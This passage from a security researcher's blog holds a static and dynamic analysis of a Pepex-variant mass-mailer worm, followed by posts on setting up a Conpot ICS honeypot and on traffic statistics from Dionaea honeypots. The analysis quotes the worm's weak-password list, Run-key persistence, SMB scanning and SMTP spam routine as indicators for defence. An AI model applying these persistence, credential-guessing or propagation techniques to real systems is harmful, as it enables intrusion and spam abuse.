I see some function names, and date/time strings, but then I see a very long list of three digit numbers (here’s just an excerpt):

130
131
132
133
134
137
139
140
143
144
210
200
201
202
203
210
211
218

I wonder if this is being used in some fashion to “construct” IP addresses. I notice that some of the “special” numbers like 239 and 255 are not included in this list, though if this is what it’s being used for, one would think you’d see numbers below 130 also. These could also be ports.

Below this, I see some interesting strings that remind me of some of the stuff revealed in my analysis of Pepex:

gmail-smtp-in.l.google.com
[email protected]
google.com
[email protected]
[email protected]

That SMTP server is an exact string from the Pepex sample I took apart previously. Those other addresses could make for some interesting signatures once we get to that point. After this, we see many strings of inexcusably horrendous passwords (crap like 1234, angel, password, passwd, BUMBLE, asdf, asdfgh, 4321, db2admin, and so on).

I see what looks like the framework for constructing an IP address dynamically:

%d.%d.%d.%d|

Below that, something very interesting:

QUIT
Subject: Hello
From: <
From: “Microsoft” <[email protected]>
Reply-To: “Microsoft” <[email protected]>
[email protected]
DATA
RCPT TO:<
MAIL FROM:<
HELO <
209.85.133.114
WUpdate
Windows Genuine Update
Windows Update
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
-i
\lsasvc.exe

This looks EXACTLY like some of the info pulled from Pepex. We see the same email addresses in use as in that other sample. The 209.85.133.114 IP address points to Google. I’m starting to think that this is a Pepex variant, if it wasn’t already pretty clear. Strangely, the antivirus products weren’t too consistent in naming this sample when scanned, though I recall that one of them did identify it as Pepex. I wonder if that lsascv.exe file is what the sample uses to install itself and achieve some stealth, and the Windows Genuine Update string points to additional stealth / persistence methods.

Further on, we see:

c:\winnt\lsass.exe
c:\windows\lsass.exe
%s\c$\winnt\lsass.exe
%s\c$\windows\lsass.exe
Subject: %s|%s|%s

Again, something to keep in mind. This might do something with lsass because of lsass’ privilege levels and API access. Finally, that Subject: %s|%s|%s is the same string we saw in the other Pepex sample for constructing the spam subject line.

We see a bunch of OS names:

WinXp
Win2003
Unkown [sic]
WinVista
WinNt
Win2000

I find it interesting that this is the same list as in the other Pepex sample, however Win7 is not here (which I wouldn’t expect from a sample created in 2004). Perhaps the reason why we had so many problems with the other sample was because someone tried updating the code and screwed up.

I see many imported function names, but I’ll look at those when I view the file in PEview, as it’s an easier interface. One final and very interesting set of strings:

!This program cannot be run in DOS mode.
Rich
S^@
.petite
ERROR!
Corrupt Data!

Looks like we have another file inside. I’m not sure what a .petite section is but it’s not a normal section like .text, .rsrc, .rdata, or others. Some weird error messages follow, so perhaps this is a packed file within the previously packed malware. After that I see a handful of process names and library imports, so I think we’ll need to continue digging to get to the bottom of this.

PEiD doesn’t detect and packers, under any settings. KANAL, however, detects a zlib deflate reference at 0000BE74 / 0040D474. Resource Hacker shows an obvious file stored in the resource section that is named “FILE”:

newpepex5

This file, however, is packed, using Petite 2.x:

newpepex6

KANAL also sees a reference to zlib in this file from the .rsrc section. Depending on how it goes analyzing this malware, I may look at this file in a follow-on analysis. Also, please see the following note from the readme file inclued with the current version of Petite, which is another reason why I’m probably going to tackle this in a subsequent analysis:

Decompression?
==============
There is no Petite decompressor. So if it is not possible for you to
reinstall or recompile a file, then you should keep a backup of the
original incase[sic] you should want to go back to it at any time.

Opening the main malware file in PEview doesn’t reveal anything weird as far as some possible anti-debugging stuff – number of data directories is 0x10 and no TLS table. Imported libraries are Kernel32, User32, AdvApi32, and WS2_32. Here are some of the interesting things that can be seen as imported functions under each library:

AdvApi32
RegOpen/CloseKeyExA, RegSetValueExA, Create/Open/Start/DeleteServiceA: Based on these imports and the prior work done on the other Pepex variant, I’m guessing that this is used to both achieve persistence and also start the malware as a service.

Kernel32
CopyFileA, WriteFile: I see a call to CopyFileA but not to DeleteFileA, so maybe this file makes a copy of itself and then deletes itself some other way when it installs. This also could mean that this file relocates some system file so that it can put itself in between the user and the legitimate file (maybe it gets in between lsass.exe, for instance). I suppose that one clue that this is not the case is that I don’t see any exports, but we still don’t know how the file from the .rsrc section functions yet. WriteFile is always good for looking for file system signatures.

WaitForSingleObject: perhaps this malware creates a mutex.

CreateProcessA: Always good for signatures, and also this means we’ll need to look out for child processes of this main malware process. Could possibly also be used to load drivers.

WS2_32
The interesting thing here is that I’m only seeing client-side functions imported (socket, connect, send, recv) but not server-side functions (like bind, listen, accept).

Dynamic Analysis

For the dynamic analysis, I ran and recorded the packed malware two times – once as a regular user, and once as an administrator.

Watching the run as a regular used showed a ton of activity taking place in Wireshark. RegShot didn’t reveal much going on. There was a UserAssist value added under HKU, but other than that, no other changes in the registry or file system that could be linked to the malware (speaking strictly from the RegShot perspective). Process Explorer revealed only the single malware process being created (PID 2576) but nothing else. It could be we missed other stuff happening in Process Explorer, so we’ll look at Process Monitor and other places too. I’m not seeing anything in Autoruns, so perhaps persistence wasn’t achieved.

Looking in Process Monitor, I see that the malware did not appear to spawn any child processes. The main things observed, some of which match up with the static analysis, include:

– reads the current version of Windows through HKLM
– many registry keys related to networking are queried
– the malware gets the computer name from the registry
– the malware creates 256 threads, and this is the final set of actions recorded by Process Monitor

I’m not seeing any files being written, or any registry entries being added or modified (values or keys). The Wireshark traffic is more interesting. In only a few minutes I could see a few tens of thousands of packets being sent out to apparently random IP addresses. Take a look at the protocols:

newpepex7

Basically all TCP. I didn’t see any addresses resolved, however endpoints revealed something interesting:

newpepex8

Thousands and thousands of lines of traffic on port 445, which is associated with SMB (which is where this sample came from on the honeypot, by the way). Looking over on the UDP tab of this window:

newpepex9

We see traffic on some broadcast IP addresses and on ports 137 and 138 which, for UDP, are associated with SMB also (NetBios API). There’s also traffic on port 1900, which is the UPnP port that we saw a lot of action on in the honeypot statistics.

Reviewing the recorded malware activity that was run as an administrator didn’t reveal any new or different behavior. The same activity both on the host and the network was observed.

I didn’t see any activity on the IP address we found in the strings of the malware (209.85.133.114). I dumped the traffic from Wireshark and then ended up with 39,203 unique IP addresses from that. I did a little research into where these IP addresses were located, and with whatever whois data I was able to obtain, the vast majority of the IP addresses are in the USA with some falling outside the country:

newpepex10

Disassembly and Debugging

Opening the unpacked malware in Ida, the first thing we see the sample do (in winmain) is call WSAstartup, and then then there is a call to a sub at 4020E0 which imports some DLLs. The DLL names are obfuscated, and 4020E0 builds the imports in the same manner as the other Pepex variant. Following some branches, which I’m finding difficult to figure out just using Ida, we either move towards a “scanning” branch (which is the behavior that I’ve observed so far) or towards the installation branch. The installation branch begins with a call to 401950, which starts with loading the binary that is in the .rsrc section and then writing it as %SYSTEM%\lsasvc.exe, which makes for a nice file system signature:

newpepex11
Then, later on in this sub, we see the file being written and then a process being created from it.

The next sub that is called, 4018E0, sets up persistence for the newly installed malware by adding it to the registry (under the name “Windows Update”) to run at startup:

newpepex12

This also makes for a nice host signature under “SOFTWARE\Microsoft\Windows\CurrentVersion\Run”.

Sub 401000 involves some calls to gethostbyname and then a loop that writes a series of IP address strings to a buffer. After this, we see a string being put in a buffer:

newpepex13

Then we see a call to GetVersion and then the system derives an OS name (one of the strings mentioned earlier such as “WinVista”) and this string is passed to the buffer also:

newpepex14

Following this, we see an email address being pushed onto the stack and then we get into some really interesting stuff beginning with a call to 401210:

newpepex15

Before getting into 401210, I’m going to take a quick look at the alternate branch that this sample seemed to follow when I ran it in my test environment. This is the branch that was taken at the conditional jump at 40243F which branched us away from the installation/system inventory/email generation branch and instead did the IP scanning and thread creation.

Going down this alternate branch results in a call to Sleep (for 100ms) and then an indirect call to sub 402C50. This is a somewhat large sub that generates IP addresses through a combination of calls to GetTickCount and generated random numbers. There is a loop related to thread creation, and we can see where the condition jump is put in place in order to create the 256 threads we observed during the dynamic analysis:

newpepx16

Note that I displayed the number in base 10 for clarity.

Also within this overall thread creation/scanning sub, there is a call to a fairly deep branch called sub 402840. This sub begins with establishing some network connectivity and then calls another sub, 401F20. This sub contains several indirect calls (annoying). I see something being done with the string “administrator” so it’s possible that this is some sub that either logs into an account somewhere (or tries to do so). We do see a call to sub 401AE0, though. This sub makes a reference to IPC, and then appears to send system inventory information to the [email protected] address:

newpepex17

Then after that we can see stuff being done with lsass.exe (notice also the hard coded directory of \winnt\ rather than an environment variable). Here are another couple of examples of hard-coded directory references:

newpepex18

After setting up with these paths, we see a call to 401800. Here we see the malware being set up and started as a service:

newpepex19

“Windows Genuine Update” and “Wupdate” are nice signatures to be aware of.

Going back to the large branch, where we really get into the heart of this thing, sub 401210 begins with a connection to 209.85.133.114 and then a check of connectivity. If we get past that, then the malware starts to build a set of SMTP commands:

newpepex20

This gets sent, and then checked for errors again:

newpepex21

If at any time we have an error, the sub will exit. Next we see more SMTP commands being built, this one showing that this mail is from [email protected]:

newpepex22

Continuing through the code, we see where the recipient email address is passed via SMTP, and then we see where the malware starts to build out the area for the body of the email:

newpepex23

After this, we get to an area that I’m not sure I fully understand:

newpepex24

What it looks like is happening here, is that the string “[email protected]” is pushed onto the stack twice, and then these two strings are compared with a call to strcmpi (which is deprecated according to MSDN). Then, there is a conditional jump based on this comparison – If the strings are the same, then the function should return 0 and therefore this conditional jump should always be followed in this instance, which would take us down the branch on the left. If anyone out there has a better understanding of what is going on here, please let me know, as it appears that we have a situation where there’s a condition jump that is never followed. In any case, on the left branch, we see some more signatures that were common with the other Pepex variant analyzed ([email protected], [email protected]).

At the end, we see the wrap up of the SMTP traffic and the return:

newpepex25

At this point, I’m done looking at this sample. As we’ve seen, it’s closely related to a prior sample, except that this one actually seems to work so we were able to observe more functionality. I might take a look into manually unpacking the file in the resource section since this is a packer that is new to me and this might make for an interesting analysis.

Findings and observations:
Mass-mailer worm. Similar to the prior sample analyzed, which I believe was derived from this new sample as this sample did not appear to have the execution issues observed previously. Sample appears to both scan new IP addresses, both for remote and local systems, probably with the intent of spreadnig itself. It also contains functionality around reporting system inventory and sending spam messages.

Recommendations:
– Block ports 445, 137, and 138 as this is where this sample was obtained and this sample was observed connecting to remote and local systems on these ports
– Usual recommendations against opening unsolicited mail (especially with attachments)
– Filter email associated with “[email protected]”, “[email protected]”, and “[email protected]”, “ [email protected]”, “[email protected]”

Conclusion:
Interesting, old malware. It was good to see this worm running successfully so as to get a better opportunity to view its capabilities.

Report:MalEXE003pdf

Hashes:
Packed:
MD5:7867de13bf22a7f3e3559044053e33e7
SHA1:42e56d72982ac04edba2ce7fb9f4e5048766aa94
SHA256:a29d02251f54567edb1d32f7c17ce4c04d5c54e317eb3b2bea2a068da728e59a
ssdeep:768:WOjL5WyEf531YmKtiZSI1ZOt13hHJ6kekGyQSmOY:WOjsyEfIm0i3ZOt1RWkGyFW

Manually Unpacked:
MD5:30891d0c95aed62d3cbf7a54239eaf17
SHA1:b3d456d0cd871b1ff5f19cd3196ebe4df064f922
SHA256:50f3cd50216c6a4515977f46a737466bb3cc3a3cdf3add771e1e8c138dea91e4
ssdeep:1536:oNx2Tahizzme4WPsyqFg8NIRdcBCaiOjsyEfIm0i3ZOt1RWkGyF3XFuTx+WN:8DYzzNhPJgI3iCaIH0i3ZOt1RWRNB

Automatically Unpacked:
MD5:c6829041ed0a3b1ee41b8aad7e1884b1
SHA1:440c45dff7f43ac6478c44a1c776e643320a8a35
SHA256:6c31f261514aa5d4b9e0098d7362dd8357a71ca9de5d3df984d4dfd80c75690c
ssdeep:768:8HcGaNhoWx2T7Gh8EExZz+v25i6jQSgm51/GVGWsyqAgg8/8WIjl2QDMrL4:7Nx2Tahizz1koOVpsyqFg8NIRd

JUMPSEAT

Posted on August 16, 2016 - August 4, 2016 by rhyolite

Continuing on the subject of honeypots, I wanted to see if I could get something set up as an ICS/SCADA honeypot. I’ve noticed traffic on some of the GRAB series honeypots that could be Modbus connections, for instance. I’m also pretty interested in ICS/SCADA in general, so I looked into whatever I could find regarding honeypots that I might be able to set up myself. In the end I set up a single Conpot honeypot, and I thought I’d share my notes in case it helped save someone some time.

I identified several potential honeypots to try:
– Digital Bond’s SCADA Honeynet
– Cisco CIAG’s SCADA Honeynet
– Fieldbus Honeypot
– SHaPe honeypot
– Conpot

Ultimately, Conpot was the only one I got to work. Here are my notes on everything:

Digital Bond’s SCADA Honeynet
This sounded like it would be the most robust and realistic of all the honeypots that I could find, but I ran into issues during installation. First, the documentation and system is from 2006, so a lot of the instructions are really out of date (for instance, one document referred to installation on an Ubuntu 6.x system). I ran into a few issues while installing dependencies, but I was able to get past those — specifically, instead of xlibs-dev, install libx11-dev, and automake1.11 instead of automake1.9. The real issues came when I tried to install VMware server. This used to be freely available, but isn’t really available anymore from VMware (I’ll explain what I mean by this). The installation instructions from Digital Bond specifies a link to download an old version of VMware server for Linux (1.0.2) and this link still works, however with my current version of Ubuntu (16.04) I ran into too many issues with the installation and just gave up on it.

Cisco CIAG’s SCADA Honeypot
This system requires Scientific Linux 3 and a formatted, empty floppy disk. Next…

Fieldbus Honeynet
This system came up during searches for these types of honeypots. The info sheet indicates that it handles Modbus and also lists some contact info for creators, however trying to reach out to them resulted in bounced email. Not sure if this is publicly available, and searching didn’t turn up any other email addresses to use to contact them. The overall project page can be found here.

SHaPe Honeypot
I found this one through an interesting academic paper about electric power substation honeypots. They have the source up here. I liked the idea that this would be a module for Dionaea, which meant that I could either add this module to an existing honeypot, or quickly set up a new honeypot running Dionaea (which is very easy) and just use it to run this module. I ultimately ran into various issues during setup, and at this point I was pretty burned out and not interested in pursuing this anymore. If you have more luck, please let me know and maybe I’ll give it another try if you can send me some ideas on what to try.

Conpot
This was the first such honeypot I had heard of, and ended up being the one I installed. They have a great website for the honeypot, and installation was pretty easy. Instructions were sparse but clear. I installed from the git repository, not using pip. I did have issues during installation, but nothing out of the ordinary. One issue was that I needed to install libmysqlclient-dev (apt-get install libmysqlclient-dev), no big deal. The other issue I had, though, appears to be a known issue but again the fix was pretty simple. Basically, I had to downgrade stix and cybox to lower versions and then I was fine:

sudo pip install 'stix>=1.1.1.5,<1.2.0.1'

sudo pip install "cybox==2.1.0.12"

I copied both of those right out of the issue logged on the github page and then I was no longer getting errors. To keep Conpot running in the background after logging out, I used setsid in case you’re wondering how to do that. Finally, to test the honeypot, I went ahead and tried connecting to it:

2016-08-03 15:42:07,581 New Modbus connection from x.x.x.x:38816. (x-x-x-x-x)
2016-08-03 15:54:31,643 New Modbus connection from x.x.x.x:38828. (x-x-x-x-x)

Seems to be working (the xs are in place of my connection info).

I found a great article by Darren Martyn over at xrl about OPSEC for honeypots. There’s a lot of great points there, but overall — DON’T leave the default Conpot settings in place when you run your honeypot. Go to the /conpot/templates/default directory (or the directory for whatever template you are using) and look in the .xml file for that template. Here is my default Conpot template before editing:

jumpseat1

You should see the issues right away. Darren’s post highlights some of these, but to recreate his quick check on this, I did a search on shodan.io and look what I found:

jumpseat2

Don’t be these people. Change your default settings. I found dozens of these honeypots all over the world this way. One note — you might go to change the template settings in the /opt/conpot/templates directory. Per this post, go to /usr/local/lib/python2.7/dist-packages/Conpot-0.5.1-py2.7.egg/conpot/templates [you may have a different version number than I do] and change your templates there. You can test it quickly to be sure by just pulling up your site in your web browser.

Digital Ocean is not great as a host for this type of honeypot because it’ll show up as such in a search — putting it another way, why would an ICS/SCADA system be on a Digital Ocean VPS, or AWS, or GoDaddy.com? Doesn’t really make sense, but for now that’s what I have so I went with another droplet there. Ideally I’d put this new honeypot somewhere that it might actually make sense to have such a system, but I don’t have access to any such facility. I did, however, look around the area and do a little research on some ICS/SCADA sites, and entered values that should be plausible enough to collect some attacks in the honeypot. I’m not going to post any of that info here as that would potentially ruin the honeypot I set up, but what I’d say is look around the area where your honeypot is hosted and try to create a plausible “identity” for your system. Try to also pick a system that 1) uses Modbus and 2) might actually be in use at your choice of cover story. We’ll see how successful I was at setting this up, and hopefully at some point soon I’ll have some interesting info to share about this new system.

I’ve decided to place ICS/SCADA honeypots under the series JUMPSEAT.

GRAB

Posted on August 9, 2016 - July 31, 2016 by rhyolite

I thought it would be a good time to talk a little bit about the “constellation” of honeypots that I have going right now, and what statistics I have gathered on their activity. My Dionaea honeypots are organized under the name GRAB, and the first GRAB honeypot was located in NYC. Several days later I set up the same kind of honeypot and VPS in Frankfurt, and on July 30th I created two more in Singapore and Bangalore.

grab1

I’m not completely satisfied with this constellation just yet – I feel like there are a few gaps here that would be relevant to me. I’m glad that I have coverage in the US and Europe but I’d like to have some coverage in LATAM and Africa. The main reason that I was able to get the VPS coverage in these current locations so quickly was that this is where Digital Ocean has datacenters, and it’s incredibly easy to get a system set up with them (I set up both of the new VPSs and honeypots simultaneously in about 10 minutes). I feel that I absolutely need to get something created in the Russian Federation, and have been looking into options for this. Africa would be interesting, particularly around the Horn, but I have no idea about what the state of hosting is for this region. LATAM would be interesting, and I wonder if there is something good available for hosting in Argentina or Mexico. I’m hoping that the GRAB system I have in Singapore is sufficient for covering East/Southeast Asia and Australia, but we’ll see how that turns out.

My reasoning is that I imagine that while there are malware that will propagate world-wide (and I’ve already seen some samples show up in both NYC and Frankfurt), I imagine there might be some more regional samples that are targeted to a specific region or even a specific country or userbase that I could collect by having honeypots in various locations. I’m also interested to see the levels of activity in the various regions over time, which is what I’m going to get into next, starting with the NYC honeypot.

Some quick notes on how this data was obtained and graphed – I have my Dionaea honeypots set up to store data in sqlite databases. There are a few options out these for graphing (e.g., there’s a recipe in the Malware Analyst’s Cookbook for using gnuplot) but I used DionaeaFR. I thought that the best instructions for setting this up were found at Koen Van Impe’s site but even so I had some issues as far as getting it to run on my system. What I ultimately did was follow those instructions but use the most up to date versions of the dependencies (such as nodejs) when I did my install as the exact instructions posted there didn’t work on my system. I also ran “npm install -g promise” in addition to installing less as this was mentioned on another website.

New York City
Connections: 617,440
Unique IPs: 12,586
Files Downloaded: 48

grab2

grab3
Since this is my first time doing this, I don’t have much to compare these results with, however that seems like a LOT of connections. I’m not shocked to see that most of the connections came from the United States but it was interesting to see that the most unique IP addresses came from France, Spain and the USA. For all that activity, not too many binaries recovered, but even so I’m backed up on analysis. Romania was unexpected (0.71% of the total IPs).
grab4

A mix of services, but interesting to see that the vast majority of activity came in over UPnP.

grab5
Therefore, I suppose it’s not a shock that the most activity also came through port 1900, the UDP port for UPnP.

grab6
The top IP address (with 80,000 connections) can be linked back to Tinet in Germany, though I’m not getting much out of this whois record, just info about Tinet. VirusTotal finds no domains resolving to that IP address and actually puts it in France. Similarly, the next one on the list, 84.16.14.189, links back to Telefonica in Spain (VirusTotal also has not resolved anything to this address, though it does not find any location info on this IP). This isn’t showing too much, as it’s sort of the equivalent of tracing an IP back to Level III or Comcast. The ninth IP on the list, 185.62.190.87, lists info as BlazingFast LLC in Kiev Oblast, Ukraine. They seem to be a hosting provider, maybe I should set up a honeypot with them…nothing about this IP address in VirusTotal. Not much comes up about any of these addresses.

Here’s a map showing the attacker locations:

grab7

Next is the Frankfurt honeypot – It’s interesting that this honeypot was created several days after the NYC honeypot, and yet it had more activity (but fewer files downloaded).

Frankfurt
Connections: 702,786
Unique IPs: 10,896
Files Downloaded: 35

grab8

grab9

Pretty similar proportions to the stats from the NYC honeypot. There’s a certain country that doesn’t show up on either graph, which is surprising. Maybe it’s lumped into “others”, but keep in mind that the lowest ranks on this graph make up less than 1% (e.g., Germany on this chart is only 0.91%) so I’m surprised that these others ranked high enough to show up here.

Services is really very similar to the NYC results, UPnP being the most popular by a huge margin, along with port 1900:

grab10

grab11

Looking at the IP addresses from Frankfurt, there are several overlaps, either in terms of the same IP or just the same subnet. Only 204.88.128.14 and 213.140.43.126 are new.

grab12

204.88.128.14 is interesting – its whois record says “Santa Clara County Office of Education” in San Jose, CA. I’m wondering why so many connections would be coming from here? Some searching showed that someone’s already added this IP to FireHOL’s blocklist. I wonder what the story is with this one. 213.140.43.126 is just another Telefonica IP address, nothing too interesting there.

Here’s another map of the attackers, with an alternate view of the same data as well:

grab13

grab14